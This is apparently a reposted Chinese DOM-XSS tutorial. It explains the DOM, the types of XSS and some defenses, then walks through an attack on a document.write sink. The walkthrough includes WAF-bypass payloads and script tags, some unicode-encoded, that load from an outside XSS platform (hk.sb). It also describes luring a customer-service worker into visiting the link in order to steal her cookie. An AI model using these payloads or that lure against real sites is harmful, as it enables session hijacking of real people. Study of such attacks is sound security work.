DOM型XSS

前言

什么是DOM型XSS

DOM型XSS漏洞是一种特殊类型的XSS,是基于文档对象模型 Document Object Model (DOM)的一种漏洞。

 

什么是DOM

DOM全称Document Object Model,是一个与平台、编程语言无关的接口,它允许程序或脚本动态地访问和更新文档内容、结构和样式,处理后的结果能够成为显示页面的一部分。

以一张w3c的图来说明,到底什么是dom:

1637801350_619edd86cac4519b92956.png!small?1637801350186

dom就是一个树状的模型,你可以编写Javascript代码根据dom一层一层的节点,去遍历/获取/修改对应的节点,对象,值。

通过Js去对网页进行修改,变化执行。

反射型XSS和储存型XSS以及Dom型XSS的特点:

反射型:
交互的数据一般不会被存在数据库中,一次性,所见即所得,一般出现在查询类页面等。

存储型:
交互的数据会被存在数据库中,永久性存储,一般出现在留言板,注册等页面。

DOM型:
不与后台服务器产生数据交互,是一种通过DOM操作前端代码输出的时候产生的问题,大部分属于反射型。

关于非持久型,持久型,Dom型xss

非持久型xss攻击:顾名思义,非持久型xss攻击是一次性的,仅对当次的页面访问产生影响。非持久型xss攻击要求用户访问一个被攻击者篡改后的链接,用户访问该链接时,被植入的攻击脚本被用户游览器执行,从而达到攻击目的。

持久型xss攻击:持久型xss,会把攻击者的数据存储在服务器端,攻击行为将伴随着攻击数据一直存在。

而Dom型xss属于有可能是持久也可能是非持久型。

什么是document 和 windows 对象

document表示的是一个文档对象,window表示的是一个窗口对象,一个窗口下可以有多个文档对象。document 只是属于window 的一个子对象。

DOM型XSS

Document 对象

每个载入浏览器的 HTML 文档都会成为 Document 对象。

Document 对象使我们可以从脚本中对 HTML 页面中的所有元素进行访问。

Document对象属性:

1637801979_619edffb536e966b5d6d6.png!small?1637801978591

Document 对象方法:

1637802085_619ee065f1425828f21dd.png!small?1637802085409

可能触发DOM型XSS的属性

document.referer属性

window.name属性

location属性

innerHTML属性

documen.write属性

Dom型XSS的危害:

DOM-XSS不经过服务端,只看服务端的日志和数据库,很难排查到

DOM-XSS一般是通杀浏览器的

DOM-XSS一般是被攻击的时候就执行了XSS,由于是前端DOM操作导致,很难留下痕迹

DOM型XSS的防御方法

  1. 避免将从客户端接收的数据用于客户端敏感操作,例如重写或重定向。
  2. 通过检查对构成威胁的 DOM 对象(例如 URL、位置和引用者)的引用来清理客户端代码。如果 DOM 可能被修改,这一点尤其重要。
  3. 使用能够检查入站 URL 参数并防止提供不适当页面的入侵防御系统。

DOM型XSS实战演练

1、进入漏洞页面

发现可疑点 /dom_xss/

1637811284_619f045404a9846284016.png!small?1637811283367

2.检查该可疑点的源代码

发现可能触发DOM型XSS的属性 document.write,它可向文档写入 HTML 表达式或 JavaScript 代码。

1637811827_619f06737e8996f4cbccd.png!small?1637811826815

3.测试注入

1)先在URL随便传个参?txtx=1234

发现在URL里输入的内容会通过document.write()方法将传参内容显示在HTML文档上。

1637813556_619f0d3484ef643e03e2d.png!small?1637813555867

2)传入恶意语句

?<script>alert(3114)</script>

发现WAF, 经测试,WAF拦截<script>标签、<img>标签、<a%20href=javascript>等。

1637823212_619f32ecbb948541f3566.png!small?1637823212354

3)尝试绕过WAF写入弹窗函数,并闭合语句

1) ?");alert(1314)//
2) index.php/1.txt?txtx=</script><script>alert(1314)</script>

页面弹窗,存在XSS漏洞

1637817911_619f1e37ba8f78b224fc7.png!small?1637817910895

1637818427_619f203b22584bc186183.png!small?1637818426225

4.XSS平台来获取COOKIE

(1)因为document.write() 可以接受native编码值,所以我们可以用native编码绕过WAF

1637825213_619f3abd313a74845089e.png!small?1637825212219

传入参数

?txtx=\u003c\u0073\u0043\u0052\u0069\u0050\u0074\u0020\u0073\u0052\u0043\u003d\u002f\u002f\u0068\u006b\u002e\u0073\u0062\u002f\u0043\u0045\u004c\u004b\u003e\u003c\u002f\u0073\u0043\u0072\u0049\u0070\u0054\u003e

1637825422_619f3b8e4d2b45685fcac.png!small?1637825421422

获取了本地COOKIE

1637825367_619f3b5711b0999fd7c2d.png!small?1637825366154

然后去后把网址提交到反馈栏里,让客服去访问

1637825676_619f3c8c64d4aa8d6bc6d.png!small?1637825675396

返回XSS平台,发现客服小姐姐已成功访问恶意的代码,得到她的COOKIE

1637825861_619f3d45eef592fdff56f.png!small?1637825861060

(2) 传入参数

index.php/1.txt?txtx=<sCRiPt%20sRC=//hk.sb/CELK></sCrIpT>

获取到了本地COOKIE

1637826202_619f3e9af27a332f81164.png!small?1637826202068

把网址提交到反馈栏里,让客服小姐姐去访问,得到客服的COOKIE

1637826406_619f3f66024294c1a63bf.png!small?1637826405037

网络安全学习资源分享:

给大家分享一份全套的网络安全学习资料,给那些想学习 网络安全的小伙伴们一点帮助!

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

因篇幅有限,仅展示部分资料,朋友们如果有需要全套《网络安全入门+进阶学习资源包》,需要点击下方链接即可前往获取 

读者福利 | CSDN大礼包:《网络安全入门&进阶学习资源包》免费分享(安全链接,放心点击)

同时每个成长路线对应的板块都有配套的视频提供: 

大厂面试题

 

视频配套资料&国内外网安书籍、文档

当然除了有配套的视频,同时也为大家整理了各种文档和书籍资料

所有资料共282G,朋友们如果有需要全套《网络安全入门+进阶学习资源包》,可以扫描下方二维码或链接免费领取~ 

读者福利 | CSDN大礼包:《网络安全入门&进阶学习资源包》免费分享(安全链接,放心点击) 

特别声明:

此教程为纯技术分享!本教程的目的决不是为那些怀有不良动机的人提供及技术支持!也不承担因为技术被滥用所产生的连带责任!本教程的目的在于最大限度地唤醒大家对网络安全的重视,并采取相应的安全措施,从而减少由网络安全而带来的经济损失。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/diannao/19339.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

橙派探险记:开箱香橙派 AIpro 与疲劳驾驶检测的奇幻之旅

目录 引子&#xff1a;神秘包裹的到来 第一章&#xff1a;香橙派AIpro初体验 资源与性能介绍 系统烧录 Linux 镜像&#xff08;TF 卡&#xff09; 调试模式 登录模式 第二章&#xff1a;大胆的项目构想 系统架构设计 香橙派 AIpro 在项目中的重要作用 第三章&#xf…

[Redis]String类型

基本命令 set命令 将 string 类型的 value 设置到 key 中。如果 key 之前存在&#xff0c;则覆盖&#xff0c;无论原来的数据类型是什么。之前关于此 key 的 TTL 也全部失效。 set key value [expiration EX seconds|PX milliseconds] [NX|XX] 选项[EX|PX] EX seconds⸺使用…

若安装了Python3且没有删除Python2,那么启动yum命令会报错:

若安装了Python3且没有删除Python2&#xff0c;那么启动yum命令会报错: File "/usr/bin/yum", line 30 except KeyboardInterrupt e: ^ SyntaxError: invalid syntax 情况一报错原因 这种情况的原因是yum配置文件解释器默认是/…

苏州金龙新V系客车科技助力“粤”动广州

粤动活力新V系&#xff01; 5月23日&#xff0c;苏州金龙新V系智慧客车推介会在羊城广州举行。活动现场展出了4款新V系代表车型&#xff0c;来自广东省旅游客运、道路运输行业的200余位从业者齐聚一堂&#xff0c;共同品鉴、体验了苏州金龙新V系产品的“新、心、芯”魅力。苏州…

2024-03-23青少年软件编程(Python语言)等考(六级)解析

2024-03-23青少年软件编程(Python语言)等考(六级)解析一、单选题(共25题,共50分) 1.以下选项中,创建类正确的是?( C ) A. class test1:def prt(self):…… B. class Mg():def __init__(na, ag): self.na = na C. class A():def print(self):print("Yes"…

如何降本增效获得目标客户?AI企业使用联盟营销这个方法就对了!

AI工具市场正在迅速发展&#xff0c;现仍有不少企业陆续涌出&#xff0c;那么如何让你的工具受到目标群体的关注呢&#xff1f;这相比是AI工具营销人员一直在思考的问题。 为什么AI企业难以获客呢&#xff1f; 即使这个市场正蓬勃发展&#xff0c;也无法保证营销就能轻易成功…

英语学习笔记29——Come in, Amy!

Come in, Amy! 进来&#xff0c;艾米&#xff01; shut v. 关严 区别&#xff1a;shut the door 把门关紧 口语&#xff1a;Shut up! 闭嘴&#xff01;    态度强硬&#xff0c;不礼貌 例句&#xff1a;请不要把门关严。    Don’t shut the door, please. bedroom n. …

STM32-12-OLED模块

STM32-01-认识单片机 STM32-02-基础知识 STM32-03-HAL库 STM32-04-时钟树 STM32-05-SYSTEM文件夹 STM32-06-GPIO STM32-07-外部中断 STM32-08-串口 STM32-09-IWDG和WWDG STM32-10-定时器 STM32-11-电容触摸按键 文章目录 1. OLED显示屏介绍2. OLED驱动原理3. OLED驱动芯片简介4…

一年收入大几十个的副业兼职,闲鱼新玩法,新手小白可做,无门槛

在开始分享之前&#xff0c;我想先了解一下&#xff0c;大家是否曾在各大公众号上参与过各种打卡活动&#xff1f;比如减肥打卡、英语阅读打卡、考研考公打卡等等。如今&#xff0c;打卡已经成为现代人生活中不可或缺的一部分。无论是学习、健身还是工作&#xff0c;打卡都能有…

MGR集群模拟故障切换

说明&#xff1a; 1、MGR集群搭建起来&#xff0c;但不知道是否能进行启动切换&#xff0c;故要手动模拟故障并且验证 2、停止主库master服务&#xff0c;登录mysql查看MGR是否进行自动切换。 3、主库切换完成以后&#xff0c;手动将宕机的服务器添加到MGR集群中。 一、模拟故障…

2024年3月电子学会青少年软件编程 中小学生Python编程等级考试一级真题解析(选择题)

2024年3月Python编程等级考试一级真题解析 选择题&#xff08;共25题&#xff0c;每题2分&#xff0c;共50分&#xff09; 1、下列哪个命令&#xff0c;可以将2024转换成2024呢 A、str(2024) B、int(2024) C、float(2024) D、bool(2024) 答案&#xff1a;A 考点分析&…

三数之和-力扣

这道题在使用哈希表来做时&#xff0c;做的很吃力&#xff0c;对重复的去除很费劲。 首先是对i的去重&#xff0c;不能使用nums[i] nums[i] 这样的条件去判断&#xff0c;这会遗漏掉类似[-1, -1 , 2]这样的解其次是对j的去重&#xff0c; 对j的去重是为了防止类似[-4, 2, 2, …

C#解析JSON的常用库--Newtonsoft.Json

一、库介绍 在C#中&#xff0c;解析JSON的常用库有Newtonsoft.Json&#xff08;也称为Json.NET&#xff09;和 System.Text.Json&#xff08;从 .NET Core 3.0 开始引入&#xff09;。本文主要介绍 Newtonsoft.Json。 二、下载 官网&#xff1a; https://www.nuget.org/pack…

使用 retrievers 在 Elasticsearch 中进行语义重新排序

作者&#xff1a;来自 Elastic Adam Demjen, Nick Chow 什么是语义重新排序&#xff1f; 语义重新排序&#xff08;semantic reranking&#xff09;是一种方法&#xff0c;它允许我们利用快速检索方法的速度和效率&#xff0c;同时在其上分层语义搜索。它还允许我们立即将语义…

SSLError ClosedPoolError

分析日志 从您提供的日志文件内容来看&#xff0c;存在几个明显的问题导致了实例无法创建&#xff1a; SSL证书验证失败&#xff1a;日志中多次出现SSLError(SSLError(1, [SSL: CERTIFICATE_VERIFY_FAILED] certificate verify failed (_ssl.c:897)),)错误。这表明客户端在尝试…

CAN总线应用协议CANopen

作为一种真正开放的CAN总线高层协议&#xff0c;CANopen协议允许不同的CAN设备以标准化的方式进行通讯&#xff0c;这使得CAN 设备具有互操作性。随着CANopen协议的日益完善&#xff0c;它已经广泛应用于多个行业。本文将对CANopen协议的对象字典、通讯对象、网络管理等几个方面…

2024-5-10——统计已测试设备

2024-5-10 题目来源我的题解方法一 模拟 题目来源 力扣每日一题&#xff1b;题序&#xff1a;2960 我的题解 方法一 模拟 add记录前面已测试设备的数量&#xff0c;之后紧挨着的需要减add&#xff0c;若值大于0&#xff0c;则表示该设备可以被测试&#xff0c;add1;若值小于…

【Python】解决Python报错:TypeError: %d format: a number is required, not str

&#x1f9d1; 博主简介&#xff1a;阿里巴巴嵌入式技术专家&#xff0c;深耕嵌入式人工智能领域&#xff0c;具备多年的嵌入式硬件产品研发管理经验。 &#x1f4d2; 博客介绍&#xff1a;分享嵌入式开发领域的相关知识、经验、思考和感悟&#xff0c;欢迎关注。提供嵌入式方向…

STM32定时器及输出PWM完成呼吸灯

文章目录 一、STM32定时器原理1、基本定时器2、通用定时器&#xff08;1&#xff09;时钟源&#xff08;2&#xff09;预分频器PSC&#xff08;3&#xff09;计数器CNT&#xff08;4&#xff09;自动装载寄存器ARR 3、高级定时器 二、PWM工作原理三、控制LED以2s的频率周期性地…

C# 枚举高阶

文章目录 0. 示例枚举1.常用静态方法1.1 GetName 根据枚举值获得枚举名1.2 GetNames 返回指定枚举的所有枚举名1.3 Parse 根据枚举名转化为枚举成员 2 位枚举2.1 声明2.2 Flags 特性2.3 常用操作2.3.1 组合枚举值2.3.2 从枚举变量中去除某个或某些枚举项&#xff1a;2.3.3 判断…